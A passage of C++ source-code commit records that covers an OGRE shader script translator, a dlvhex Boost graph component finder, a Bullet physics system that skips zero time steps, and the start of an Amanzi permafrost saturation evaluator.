\n\/\/-----------------------------------------------------------------------------\n\/*\nnote: we can know the texture unit index by getting parent then finding it in the list of children\n*\/\nvoid SGScriptTranslator::translateTextureUnit(ScriptCompiler* compiler, const AbstractNodePtr &node)\n{\n ObjectAbstractNode *obj = static_cast<ObjectAbstractNode*>(node.get()); \n TextureUnitState* texState = any_cast<TextureUnitState*>(obj->parent->context);\n Pass* pass = texState->getParent();\n Technique* technique = pass->getParent();\n Material* material = technique->getParent();\n ShaderGenerator* shaderGenerator = ShaderGenerator::getSingletonPtr();\n String dstTechniqueSchemeName = obj->name;\n bool techniqueCreated;\n\n \/\/ Make sure the scheme name is valid - use default if none exists.\n if (dstTechniqueSchemeName.empty()) \n dstTechniqueSchemeName = ShaderGenerator::DEFAULT_SCHEME_NAME; \n\n\n \/\/check if technique already created\n techniqueCreated = shaderGenerator->hasShaderBasedTechnique(material->getName(), \n material->getGroup(),\n technique->getSchemeName(), \n dstTechniqueSchemeName);\n \n if (techniqueCreated == false)\n {\n \/\/ Create the shader based technique.\n techniqueCreated = shaderGenerator->createShaderBasedTechnique(technique, \n dstTechniqueSchemeName,\n shaderGenerator->getCreateShaderOverProgrammablePass());\n }\n\n\n \n \/\/ Case technique successfully created.\n if (techniqueCreated)\n {\n \/\/Attempt to get the render state which might have been created by the pass parsing\n mGeneratedRenderState = shaderGenerator->getRenderState(dstTechniqueSchemeName, \n material->getName(), material->getGroup(), pass->getIndex());\n \n \/\/ Go over all the render state properties.\n for(AbstractNodeList::iterator i = obj->children.begin(); i != obj->children.end(); ++i)\n {\n if((*i)->type == ANT_PROPERTY)\n {\n PropertyAbstractNode *prop = static_cast<PropertyAbstractNode*>((*i).get());\n SubRenderState* subRenderState = ShaderGenerator::getSingleton().createSubRenderState(compiler, prop, texState, this);\n \n if (subRenderState)\n {\n addSubRenderState(subRenderState, dstTechniqueSchemeName, material->getName(), \n material->getGroup(), pass->getIndex());\n }\n else\n {\n compiler->addError(ScriptCompiler::CE_INVALIDPARAMETERS, prop->file, prop->line, prop->name);\n }\n }\n else\n {\n processNode(compiler, *i);\n }\n }\n\n mGeneratedRenderState = NULL;\n } \n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid SGScriptTranslator::translatePass(ScriptCompiler* compiler, const AbstractNodePtr &node)\n{\n ObjectAbstractNode *obj = static_cast<ObjectAbstractNode*>(node.get()); \n Pass* pass = any_cast<Pass*>(obj->parent->context);\n Technique* technique = pass->getParent();\n Material* material = technique->getParent();\n ShaderGenerator* shaderGenerator = ShaderGenerator::getSingletonPtr();\n String dstTechniqueSchemeName = obj->name;\n bool techniqueCreated;\n\n \/\/ Make sure the scheme name is valid - use default if none exists.\n if (dstTechniqueSchemeName.empty()) \n dstTechniqueSchemeName = ShaderGenerator::DEFAULT_SCHEME_NAME; \n\n\n \/\/ Create the shader based technique.\n techniqueCreated = shaderGenerator->createShaderBasedTechnique(technique, \n dstTechniqueSchemeName,\n shaderGenerator->getCreateShaderOverProgrammablePass());\n\n\n \/\/ Case technique successfully created.\n if (techniqueCreated)\n {\n \/\/ Go over all the render state properties.\n for(AbstractNodeList::iterator i = obj->children.begin(); i != obj->children.end(); ++i)\n {\n if((*i)->type == ANT_PROPERTY)\n {\n PropertyAbstractNode *prop = static_cast<PropertyAbstractNode*>((*i).get());\n\n \/\/ Handle light count property.\n if (prop->name == \"light_count\")\n {\n if (prop->values.size() != 3)\n {\n compiler->addError(ScriptCompiler::CE_INVALIDPARAMETERS, prop->file, prop->line);\n }\n else\n {\n std::vector<int> lightCount;\n if (getVector(prop->values.begin(), prop->values.end(), lightCount, 3))\n {\n shaderGenerator->createScheme(dstTechniqueSchemeName);\n RenderState* renderState = shaderGenerator->getRenderState(dstTechniqueSchemeName, \n material->getName(), material->getGroup(), pass->getIndex());\n\n renderState->setLightCount(Vector3i(lightCount.data()));\n renderState->setLightCountAutoUpdate(false);\n }\n else\n {\n compiler->addError(ScriptCompiler::CE_INVALIDPARAMETERS, prop->file, prop->line);\n }\n } \n }\n\n \/\/ Handle the rest of the custom properties.\n else\n {\n SubRenderState* subRenderState = ShaderGenerator::getSingleton().createSubRenderState(compiler, prop, pass, this);\n if (subRenderState)\n {\n addSubRenderState(subRenderState, dstTechniqueSchemeName, material->getName(), material->getGroup(), pass->getIndex());\n }\n else\n {\n compiler->addError(ScriptCompiler::CE_INVALIDPARAMETERS, prop->file, prop->line, prop->name);\n }\n } \n }\n else\n {\n processNode(compiler, *i);\n }\n }\n\n mGeneratedRenderState = NULL;\n }\n\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid SGScriptTranslator::addSubRenderState(SubRenderState* newSubRenderState, \n const String& dstTechniqueSchemeName, const String& materialName, const String& groupName, unsigned short passIndex)\n{\n assert(newSubRenderState);\n\n \/\/check if a different sub render state of the same type already exists\n ShaderGenerator* shaderGenerator = ShaderGenerator::getSingletonPtr();\n \n \/\/create a new scheme if needed\n shaderGenerator->createScheme(dstTechniqueSchemeName);\n \n \/\/update the active render state\n mGeneratedRenderState = shaderGenerator->getRenderState(dstTechniqueSchemeName, materialName, groupName, passIndex);\n\n \/\/add the new sub render state\n mGeneratedRenderState->addTemplateSubRenderState(newSubRenderState);\n}\n\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/* dlvhex -- Answer-Set Programming with external interfaces.\n * Copyright (C) 2005, 2006, 2007 Roman Schindlauer\n * Copyright (C) 2006, 2007, 2008, 2009, 2010 Thomas Krennwallner\n * Copyright (C) 2009, 2010 Peter Schüller\n * \n * This file is part of dlvhex.\n *\n * dlvhex is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * dlvhex is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with dlvhex; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA.\n *\/\n\n\n\/**\n * @file BoostComponentFinder.cpp\n * @author Roman Schindlauer\n * @date Wed Jan 25 14:34:20 CET 2006\n *\n * @brief Strategy class for finding SCCs and WCCs from a given program graph, using\n * the Boost Graph Library.\n *\n *\n *\/\n\n#include \"dlvhex\/BoostComponentFinder.h\"\n#include \"dlvhex\/globals.h\"\n#include \"dlvhex\/PrintVisitor.h\"\n#include \"dlvhex\/Component.h\"\n\n#include <sstream>\n\n#include <boost\/graph\/adjacency_list.hpp>\n#include <boost\/graph\/connected_components.hpp>\n#include <boost\/graph\/strong_components.hpp>\n#include <boost\/graph\/graphviz.hpp>\n#include <boost\/algorithm\/string\/replace.hpp>\n\n\nDLVHEX_NAMESPACE_BEGIN\n\nvoid\nBoostComponentFinder::makeEdges(const std::vector<AtomNodePtr>& nodes,\n Edges& edges) const\n{\n for (std::vector<AtomNodePtr>::const_iterator node = nodes.begin();\n node != nodes.end();\n ++node)\n {\n ComponentFinder::Vertex v1 = (*node)->getId();\n\n \/\/\n \/\/ considering all types of dependencies\n \/\/\n for (std::set<Dependency>::const_iterator d = (*node)->getSucceeding().begin();\n d != (*node)->getSucceeding().end();\n ++d)\n {\n ComponentFinder::Vertex v2 = (*d).getAtomNode()->getId();\n\n \/\/\n \/\/ making edge from v2 to v1, because the direction is not relevant\n \/\/ for finding WCCs and SCCs and this is the \"traditional\" direction\n \/\/ for lp-dependency (head->body), and we want these arrows in the\n \/\/ graphviz output (see below)!\n \/\/ \n edges.push_back(ComponentFinder::Edge(v2, v1));\n }\n\n }\n}\n\n\nvoid\nBoostComponentFinder::selectNodes(const Vertices& vertices,\n const std::vector<AtomNodePtr>& nodes,\n std::vector<AtomNodePtr>& newnodes) const\n{\n newnodes.clear();\n \n for (ComponentFinder::Vertices::const_iterator vi = vertices.begin();\n vi != vertices.end();\n ++vi)\n {\n \/\/\/@todo this is too expensive - all the vertices-stuff should\n \/\/\/ actually be done in boost, it could handle all these\n \/\/\/ properties internally. there shouldn't be any mapping and\n \/\/\/ searching here!\n std::vector<AtomNodePtr>::const_iterator an;\n\n for (an = nodes.begin(); an != nodes.end(); ++an)\n {\n if ((*an)->getId() == *vi)\n break;\n }\n\n if (an != nodes.end())\n {\n newnodes.push_back(*an);\n }\n }\n}\n\n\nvoid\nBoostComponentFinder::findWeakComponents(const std::vector<AtomNodePtr>& nodes,\n std::vector<std::vector<AtomNodePtr> >& wccs)\n{\n \/*\n std::map<int, Vertex> vmap;\n\n Edges contedges;\n\n for (Edges::const_iterator ei = edges.begin();\n ei != edges.end();\n ++ei)\n {\n \n }\n *\/\n\n ComponentFinder::Edges edges;\n\n makeEdges(nodes, edges);\n\n using namespace boost;\n {\n typedef adjacency_list <listS, vecS, undirectedS> Graph;\n\n Graph G;\n\n for (Edges::const_iterator ei = edges.begin();\n ei != edges.end();\n ++ei)\n {\n add_edge(ei->first, ei->second, G);\n }\n\n std::vector<int> component(num_vertices(G));\n\n int num = connected_components(G, &component[0]);\n\n\/\/ std::cout << \"Total number of components: \" << num << std::endl;\n\n std::vector<AtomNodePtr> wcc;\n\n for (int cn = 0; cn < num; ++cn)\n {\n Vertices thiscomponent;\n\n for (std::vector<int>::size_type i = 0; i != component.size(); ++i)\n {\n if (component[i] == cn)\n {\n thiscomponent.push_back(Vertex(i));\n }\n }\n\n \/\/\n \/\/ hack - remove all single noded-components, as long as we don't know\n \/\/ how to use boost with non-contiguous vertices!\n \/\/\n if (thiscomponent.size() > 1)\n {\n \/\/.push_back(thiscomponent);\n\n wcc.clear();\n \n selectNodes(thiscomponent, nodes, wcc);\n\n wccs.push_back(wcc);\n }\n }\n\n\/\/ for (std::vector<int>::size_type i = 0; i != component.size(); ++i)\n\/\/ std::cout << \"Vertex \" << i <<\" is in component \" << component[i] << std::endl;\n\/\/ std::cout << std::endl;\n \n }\n}\n\n\nvoid\nBoostComponentFinder::findStrongComponents(const std::vector<AtomNodePtr>& nodes,\n std::vector<std::vector<AtomNodePtr> >& sccs)\n{\n ComponentFinder::Edges edges;\n\n makeEdges(nodes, edges);\n\n using namespace boost;\n {\n typedef adjacency_list<vecS, vecS, directedS> Graph;\n\n Graph G(0);\n\n for (Edges::const_iterator ei = edges.begin();\n ei != edges.end();\n ++ei)\n\t {\n add_edge(ei->first, ei->second, G);\n\t }\n\n std::vector<int> component(num_vertices(G));\n\n int num = strong_components(G, &component[0]);\n \/\/std::cout << \"Total number of components: \" << num << std::endl;\n\n std::vector<AtomNodePtr> scc;\n\n for (int cn = 0; cn < num; ++cn)\n {\n Vertices thiscomponent;\n\n for (std::vector<int>::size_type i = 0; i != component.size(); ++i)\n {\n if (component[i] == cn)\n thiscomponent.push_back(Vertex(i));\n }\n\n \/\/\/ @todo boost adds also single components as strong\n \/\/\/ components. we avoid that for now (25-01-06), because\n \/\/\/ having so many sccs will mean to call dlv a lot, which\n \/\/\/ might cost a lot. better to put an effort into the\n \/\/\/ graphprocessor strategy of finding big wccs on the\n \/\/\/ fly.\n\n \/\/\/ @todo try the other way by using a different\n \/\/\/ boostcomponentfinder with a different graphprocessor!\n\n \/\/\n \/\/ only add components with more than one vertex:\n \/\/\n if (thiscomponent.size() > 1)\n {\n \/\/components.push_back(thiscomponent);\n\n scc.clear();\n \n selectNodes(thiscomponent, nodes, scc);\n\n sccs.push_back(scc);\n }\n }\n\n\tif (Globals::Instance()->doVerbose(Globals::DUMP_DEPENDENCY_GRAPH))\n\t { \n\t \/\/\n\t \/\/ create a label table for the graphviz output\n\t \/\/\n\t std::string nms[3 * nodes.size()];\n\n\t std::ostringstream oss;\n\t RawPrintVisitor rpv(oss);\n\n\t for (unsigned y = 0; y < nodes.size(); ++y)\n\t {\n\t\toss.str(\"\");\n\t\t\n\t\tnodes[y]->getAtom()->accept(rpv);\n\n\t\tstd::string at(oss.str());\n\n\t\tboost::algorithm::replace_all(at, \"\\\"\", \"\\\\\\\"\");\n\n\t\tnms[y] = at;\n\t }\n\n\t std::ofstream out;\n\t\t\t\n\t out.open(Globals::Instance()->lpfilename.c_str());\n\t write_graphviz(out, G, make_label_writer(nms));\n\t out.close();\n\t \n\t Globals::Instance()->getVerboseStream() << \"Graph written to \"\n\t\t\t\t\t\t << Globals::Instance()->lpfilename << std::endl;\n\t }\n }\n}\n\nDLVHEX_NAMESPACE_END\n\n\n\/\/ Local Variables:\n\/\/ mode: C++\n\/\/ End:\n<commit_msg>applied nice part of clang fix (the one that does not deal with a clang bug)<commit_after>\/* dlvhex -- Answer-Set Programming with external interfaces.\n * Copyright (C) 2005, 2006, 2007 Roman Schindlauer\n * Copyright (C) 2006, 2007, 2008, 2009, 2010 Thomas Krennwallner\n * Copyright (C) 2009, 2010 Peter Schüller\n * \n * This file is part of dlvhex.\n *\n * dlvhex is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * dlvhex is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with dlvhex; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA.\n *\/\n\n\n\/**\n * @file BoostComponentFinder.cpp\n * @author Roman Schindlauer\n * @date Wed Jan 25 14:34:20 CET 2006\n *\n * @brief Strategy class for finding SCCs and WCCs from a given program graph, using\n * the Boost Graph Library.\n *\n *\n *\/\n\n#include \"dlvhex\/BoostComponentFinder.h\"\n#include \"dlvhex\/globals.h\"\n#include \"dlvhex\/PrintVisitor.h\"\n#include \"dlvhex\/Component.h\"\n\n#include <sstream>\n\n#include <boost\/graph\/adjacency_list.hpp>\n#include <boost\/graph\/connected_components.hpp>\n#include <boost\/graph\/strong_components.hpp>\n#include <boost\/graph\/graphviz.hpp>\n#include <boost\/algorithm\/string\/replace.hpp>\n\n\nDLVHEX_NAMESPACE_BEGIN\n\nvoid\nBoostComponentFinder::makeEdges(const std::vector<AtomNodePtr>& nodes,\n Edges& edges) const\n{\n for (std::vector<AtomNodePtr>::const_iterator node = nodes.begin();\n node != nodes.end();\n ++node)\n {\n ComponentFinder::Vertex v1 = (*node)->getId();\n\n \/\/\n \/\/ considering all types of dependencies\n \/\/\n for (std::set<Dependency>::const_iterator d = (*node)->getSucceeding().begin();\n d != (*node)->getSucceeding().end();\n ++d)\n {\n ComponentFinder::Vertex v2 = (*d).getAtomNode()->getId();\n\n \/\/\n \/\/ making edge from v2 to v1, because the direction is not relevant\n \/\/ for finding WCCs and SCCs and this is the \"traditional\" direction\n \/\/ for lp-dependency (head->body), and we want these arrows in the\n \/\/ graphviz output (see below)!\n \/\/ \n edges.push_back(ComponentFinder::Edge(v2, v1));\n }\n\n }\n}\n\n\nvoid\nBoostComponentFinder::selectNodes(const Vertices& vertices,\n const std::vector<AtomNodePtr>& nodes,\n std::vector<AtomNodePtr>& newnodes) const\n{\n newnodes.clear();\n \n for (ComponentFinder::Vertices::const_iterator vi = vertices.begin();\n vi != vertices.end();\n ++vi)\n {\n \/\/\/@todo this is too expensive - all the vertices-stuff should\n \/\/\/ actually be done in boost, it could handle all these\n \/\/\/ properties internally. there shouldn't be any mapping and\n \/\/\/ searching here!\n std::vector<AtomNodePtr>::const_iterator an;\n\n for (an = nodes.begin(); an != nodes.end(); ++an)\n {\n if ((*an)->getId() == *vi)\n break;\n }\n\n if (an != nodes.end())\n {\n newnodes.push_back(*an);\n }\n }\n}\n\n\nvoid\nBoostComponentFinder::findWeakComponents(const std::vector<AtomNodePtr>& nodes,\n std::vector<std::vector<AtomNodePtr> >& wccs)\n{\n \/*\n std::map<int, Vertex> vmap;\n\n Edges contedges;\n\n for (Edges::const_iterator ei = edges.begin();\n ei != edges.end();\n ++ei)\n {\n \n }\n *\/\n\n ComponentFinder::Edges edges;\n\n makeEdges(nodes, edges);\n\n using namespace boost;\n {\n typedef adjacency_list <listS, vecS, undirectedS> Graph;\n\n Graph G;\n\n for (Edges::const_iterator ei = edges.begin();\n ei != edges.end();\n ++ei)\n {\n add_edge(ei->first, ei->second, G);\n }\n\n std::vector<int> component(num_vertices(G));\n\n int num = connected_components(G, &component[0]);\n\n\/\/ std::cout << \"Total number of components: \" << num << std::endl;\n\n std::vector<AtomNodePtr> wcc;\n\n for (int cn = 0; cn < num; ++cn)\n {\n Vertices thiscomponent;\n\n for (std::vector<int>::size_type i = 0; i != component.size(); ++i)\n {\n if (component[i] == cn)\n {\n thiscomponent.push_back(Vertex(i));\n }\n }\n\n \/\/\n \/\/ hack - remove all single noded-components, as long as we don't know\n \/\/ how to use boost with non-contiguous vertices!\n \/\/\n if (thiscomponent.size() > 1)\n {\n \/\/.push_back(thiscomponent);\n\n wcc.clear();\n \n selectNodes(thiscomponent, nodes, wcc);\n\n wccs.push_back(wcc);\n }\n }\n\n\/\/ for (std::vector<int>::size_type i = 0; i != component.size(); ++i)\n\/\/ std::cout << \"Vertex \" << i <<\" is in component \" << component[i] << std::endl;\n\/\/ std::cout << std::endl;\n \n }\n}\n\n\nvoid\nBoostComponentFinder::findStrongComponents(const std::vector<AtomNodePtr>& nodes,\n std::vector<std::vector<AtomNodePtr> >& sccs)\n{\n ComponentFinder::Edges edges;\n\n makeEdges(nodes, edges);\n\n using namespace boost;\n {\n typedef adjacency_list<vecS, vecS, directedS> Graph;\n\n Graph G(0);\n\n for (Edges::const_iterator ei = edges.begin();\n ei != edges.end();\n ++ei)\n\t {\n add_edge(ei->first, ei->second, G);\n\t }\n\n std::vector<int> component(num_vertices(G));\n\n int num = strong_components(G, &component[0]);\n \/\/std::cout << \"Total number of components: \" << num << std::endl;\n\n std::vector<AtomNodePtr> scc;\n\n for (int cn = 0; cn < num; ++cn)\n {\n Vertices thiscomponent;\n\n for (std::vector<int>::size_type i = 0; i != component.size(); ++i)\n {\n if (component[i] == cn)\n thiscomponent.push_back(Vertex(i));\n }\n\n \/\/\/ @todo boost adds also single components as strong\n \/\/\/ components. we avoid that for now (25-01-06), because\n \/\/\/ having so many sccs will mean to call dlv a lot, which\n \/\/\/ might cost a lot. better to put an effort into the\n \/\/\/ graphprocessor strategy of finding big wccs on the\n \/\/\/ fly.\n\n \/\/\/ @todo try the other way by using a different\n \/\/\/ boostcomponentfinder with a different graphprocessor!\n\n \/\/\n \/\/ only add components with more than one vertex:\n \/\/\n if (thiscomponent.size() > 1)\n {\n \/\/components.push_back(thiscomponent);\n\n scc.clear();\n \n selectNodes(thiscomponent, nodes, scc);\n\n sccs.push_back(scc);\n }\n }\n\n\tif (Globals::Instance()->doVerbose(Globals::DUMP_DEPENDENCY_GRAPH))\n\t { \n\t \/\/\n\t \/\/ create a label table for the graphviz output\n\t \/\/\n\t const int nnames = 3*nodes.size();\n\t std::vector<std::string> nms(nnames);\n\t const char* nmsc[nnames];\n\n\t std::ostringstream oss;\n\t RawPrintVisitor rpv(oss);\n\n\t for (unsigned y = 0; y < nodes.size(); ++y)\n\t {\n\t\toss.str(\"\");\n\t\t\n\t\tnodes[y]->getAtom()->accept(rpv);\n\n\t\tstd::string at(oss.str());\n\n\t\tboost::algorithm::replace_all(at, \"\\\"\", \"\\\\\\\"\");\n\n\t\tnms[y] = at;\n\t\tnmsc[y] = nms[y].c_str();\n\t }\n\n\t std::ofstream out;\n\t\t\t\n\t out.open(Globals::Instance()->lpfilename.c_str());\n\t write_graphviz(out, G, make_label_writer(nmsc));\n\t out.close();\n\t \n\t Globals::Instance()->getVerboseStream() << \"Graph written to \"\n\t\t\t\t\t\t << Globals::Instance()->lpfilename << std::endl;\n\t }\n }\n}\n\nDLVHEX_NAMESPACE_END\n\n\n\/\/ Local Variables:\n\/\/ mode: C++\n\/\/ End:\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <Physic\/Utils\/BtConversion.hpp>\n#include <Systems\/System.h>\n#include <Components\/RigidBody.hpp>\n#include <Physic\/BulletDynamicManager.hpp>\n#include <Core\/Engine.hh>\n#include <Entities\/EntityFlags.hh>\n\n#include <future>\n\nnamespace AGE\n{\n\tclass BulletDynamicSystem : public System\n\t{\n\tpublic:\n\t\tBulletDynamicSystem(AScene *scene)\n\t\t\t: System(std::move(scene))\n\t\t\t, _manager(nullptr)\n\t\t\t, _filter(std::move(scene))\n\t\t{\n\t\t\t_name = \"bullet_dynamic_system\";\n\t\t\t_manager = dynamic_cast<BulletDynamicManager*>(_scene->getInstance<BulletCollisionManager>());\n\t\t\t_filter.requireComponent<RigidBody>();\n\t\t}\n\t\tvirtual ~BulletDynamicSystem(){}\n\tprivate:\n\t\tBulletDynamicManager* _manager;\n\t\tEntityFilter _filter;\n\n\t\tvirtual void updateBegin(float time)\n\t\t{\n\t\t\tauto scene = _scene;\n\t\t\tfor (auto e : _filter.getCollection())\n\t\t\t{\n\t\t\t\tif (e.getLink().isUserModified())\n\t\t\t\t{\n\t\t\t\t\tauto rb = e.getComponent<RigidBody>();\n\t\t\t\t\tif (rb->getMass() == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\trb->setTransformation(&e.getLink());\n\t\t\t\t\t\te.getLink().setUserModified(false);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t\t_manager->getWorld()->stepSimulation(static_cast<btScalar>(time), 10);\n\t\t}\n\n\t\tvirtual void updateEnd(float time)\n\t\t{}\n\n\t\tvirtual void mainUpdate(float time)\n\t\t{\n\t\t}\n\n\t\tvirtual bool initialize()\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t};\n}<commit_msg>Physics deactivated when Dt == 0<commit_after>#pragma once\n\n#include <Physic\/Utils\/BtConversion.hpp>\n#include <Systems\/System.h>\n#include <Components\/RigidBody.hpp>\n#include <Physic\/BulletDynamicManager.hpp>\n#include <Core\/Engine.hh>\n#include <Entities\/EntityFlags.hh>\n\n#include <future>\n\nnamespace AGE\n{\n\tclass BulletDynamicSystem : public System\n\t{\n\tpublic:\n\t\tBulletDynamicSystem(AScene *scene)\n\t\t\t: System(std::move(scene))\n\t\t\t, _manager(nullptr)\n\t\t\t, _filter(std::move(scene))\n\t\t{\n\t\t\t_name = \"bullet_dynamic_system\";\n\t\t\t_manager = dynamic_cast<BulletDynamicManager*>(_scene->getInstance<BulletCollisionManager>());\n\t\t\t_filter.requireComponent<RigidBody>();\n\t\t}\n\t\tvirtual ~BulletDynamicSystem(){}\n\tprivate:\n\t\tBulletDynamicManager* _manager;\n\t\tEntityFilter _filter;\n\n\t\tvirtual void updateBegin(float time)\n\t\t{\n\t\t\tauto scene = _scene;\n\t\t\tfor (auto e : _filter.getCollection())\n\t\t\t{\n\t\t\t\tif (e.getLink().isUserModified())\n\t\t\t\t{\n\t\t\t\t\tauto rb = e.getComponent<RigidBody>();\n\t\t\t\t\tif (rb->getMass() == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\trb->setTransformation(&e.getLink());\n\t\t\t\t\t\te.getLink().setUserModified(false);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tif (time == 0.0f)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t_manager->getWorld()->stepSimulation(static_cast<btScalar>(time), 10);\n\t\t}\n\n\t\tvirtual void updateEnd(float time)\n\t\t{}\n\n\t\tvirtual void mainUpdate(float time)\n\t\t{\n\t\t}\n\n\t\tvirtual bool initialize()\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t};\n}<|endoftext|>"} {"text":"<commit_before>\/* -*- mode: c++; c-default-style: \"google\"; indent-tabs-mode: nil -*- *\/\n\n\/*\n This WRM evaluator evaluates saturation of gas, liquid, and ice from\n capillary pressures for the ice-liquid and liquid-gas pairs.\n\n Authors: Ethan Coon (ecoon@lanl.gov)\n*\/\n\n#include \"wrm_permafrost_evaluator.hh\"\n#include \"wrm_partition.hh\"\n\nnamespace Amanzi {\nnamespace Flow {\nnamespace FlowRelations {\n\n\/* --------------------------------------------------------------------------------\n Constructor from just a ParameterList, reads WRMs and permafrost models from list.\n -------------------------------------------------------------------------------- *\/\nWRMPermafrostEvaluator::WRMPermafrostEvaluator(Teuchos::ParameterList& plist) :\n SecondaryVariablesFieldEvaluator(plist) {\n\n \/\/ get the WRMs\n ASSERT(plist_.isSublist(\"WRM parameters\"));\n Teuchos::ParameterList wrm_plist = plist_.sublist(\"WRM parameters\");\n wrms_ = createWRMPartition(wrm_plist);\n\n \/\/ and the permafrost models\n ASSERT(plist_.isSublist(\"permafrost model parameters\"));\n Teuchos::ParameterList perm_plist = plist_.sublist(\"permafrost model parameters\");\n permafrost_models_ = createWRMPermafrostModelPartition(perm_plist, wrms_);\n\n InitializeFromPlist_();\n}\n\n\n\/* --------------------------------------------------------------------------------\n Constructor with WRMs.\n -------------------------------------------------------------------------------- *\/\nWRMPermafrostEvaluator::WRMPermafrostEvaluator(Teuchos::ParameterList& plist,\n const Teuchos::RCP<WRMPartition>& wrms) :\n SecondaryVariablesFieldEvaluator(plist),\n wrms_(wrms) {\n\n \/\/ and the permafrost models\n ASSERT(plist_.isSublist(\"permafrost model parameters\"));\n Teuchos::ParameterList perm_plist = plist_.sublist(\"permafrost model parameters\");\n permafrost_models_ = createWRMPermafrostModelPartition(perm_plist, wrms_);\n\n InitializeFromPlist_();\n}\n\n\n\/* --------------------------------------------------------------------------------\n Constructor with Permafrost models.\n -------------------------------------------------------------------------------- *\/\nWRMPermafrostEvaluator::WRMPermafrostEvaluator(Teuchos::ParameterList& plist,\n const Teuchos::RCP<WRMPermafrostModelPartition>& models) :\n SecondaryVariablesFieldEvaluator(plist),\n permafrost_models_(models) {\n\n InitializeFromPlist_();\n}\n\n\n\/* --------------------------------------------------------------------------------\n Copy constructor\n -------------------------------------------------------------------------------- *\/\nWRMPermafrostEvaluator::WRMPermafrostEvaluator(const WRMPermafrostEvaluator& other) :\n SecondaryVariablesFieldEvaluator(other),\n pc_liq_key_(other.pc_liq_key_),\n pc_ice_key_(other.pc_ice_key_),\n s_l_key_(other.s_l_key_),\n permafrost_models_(other.permafrost_models_) {}\n\n\n\/* --------------------------------------------------------------------------------\n Virtual opy constructor as a FieldEvaluator.\n -------------------------------------------------------------------------------- *\/\nTeuchos::RCP<FieldEvaluator>\nWRMPermafrostEvaluator::Clone() const {\n return Teuchos::rcp(new WRMPermafrostEvaluator(*this));\n}\n\n\n\/* --------------------------------------------------------------------------------\n Initialization of keys.\n -------------------------------------------------------------------------------- *\/\nvoid WRMPermafrostEvaluator::InitializeFromPlist_() {\n \/\/ my keys are for saturation -- order matters... gas -> liq -> ice\n my_keys_.push_back(plist_.get<string>(\"gas saturation key\", \"saturation_gas\"));\n s_l_key_ = plist_.get<string>(\"liquid saturation key\", \"saturation_liquid\");\n my_keys_.push_back(s_l_key_);\n my_keys_.push_back(plist_.get<string>(\"ice saturation key\", \"saturation_ice\"));\n\n \/\/ liquid-gas capillary pressure\n pc_liq_key_ = plist_.get<string>(\"gas-liquid capillary pressure key\",\n \"capillary_pressure_gas_liq\");\n dependencies_.insert(pc_liq_key_);\n\n \/\/ liquid-gas capillary pressure\n pc_ice_key_ = plist_.get<string>(\"liquid-ice capillary pressure key\",\n \"capillary_pressure_liq_ice\");\n dependencies_.insert(pc_ice_key_);\n}\n\n\n\nvoid WRMPermafrostEvaluator::EvaluateField_(const Teuchos::Ptr<State>& S,\n const std::vector<Teuchos::Ptr<CompositeVector> >& results) {\n \/\/ Initialize the MeshPartition\n if (!permafrost_models_->first->initialized())\n permafrost_models_->first->Initialize(results[0]->Mesh());\n\n \/\/ Cell values\n Epetra_MultiVector& satg_c = *results[0]->ViewComponent(\"cell\",false);\n Epetra_MultiVector& satl_c = *results[1]->ViewComponent(\"cell\",false);\n Epetra_MultiVector& sati_c = *results[2]->ViewComponent(\"cell\",false);\n\n const Epetra_MultiVector& pc_liq_c = *S->GetFieldData(pc_liq_key_)\n ->ViewComponent(\"cell\",false);\n const Epetra_MultiVector& pc_ice_c = *S->GetFieldData(pc_ice_key_)\n ->ViewComponent(\"cell\",false);\n\n double sats[3];\n int ncells = satg_c.MyLength();\n for (AmanziMesh::Entity_ID c=0; c!=ncells; ++c) {\n int i = (*permafrost_models_->first)[c];\n permafrost_models_->second[i]->saturations(pc_liq_c[0][c], pc_ice_c[0][c], sats);\n satg_c[0][c] = sats[0];\n satl_c[0][c] = sats[1];\n sati_c[0][c] = sats[2];\n }\n\n \/\/ Potentially do face values as well, though only for saturation_liquid?\n if (results[0]->HasComponent(\"boundary_face\")) {\n Epetra_MultiVector& satg_bf = *results[0]->ViewComponent(\"boundary_face\",false);\n Epetra_MultiVector& satl_bf = *results[1]->ViewComponent(\"boundary_face\",false);\n Epetra_MultiVector& sati_bf = *results[2]->ViewComponent(\"boundary_face\",false);\n const Epetra_MultiVector& pc_liq_bf = *S->GetFieldData(pc_liq_key_)\n ->ViewComponent(\"boundary_face\",false);\n const Epetra_MultiVector& pc_ice_bf = *S->GetFieldData(pc_ice_key_)\n ->ViewComponent(\"boundary_face\",false);\n\n \/\/ Need to get boundary face's inner cell to specify the WRM.\n Teuchos::RCP<const AmanziMesh::Mesh> mesh = results[0]->Mesh();\n const Epetra_Map& vandelay_map = mesh->exterior_face_epetra_map();\n const Epetra_Map& face_map = mesh->face_epetra_map(false);\n AmanziMesh::Entity_ID_List cells;\n\n \/\/ calculate boundary face values\n int nbfaces = satg_bf.MyLength();\n for (int bf=0; bf!=nbfaces; ++bf) {\n \/\/ given a boundary face, we need the internal 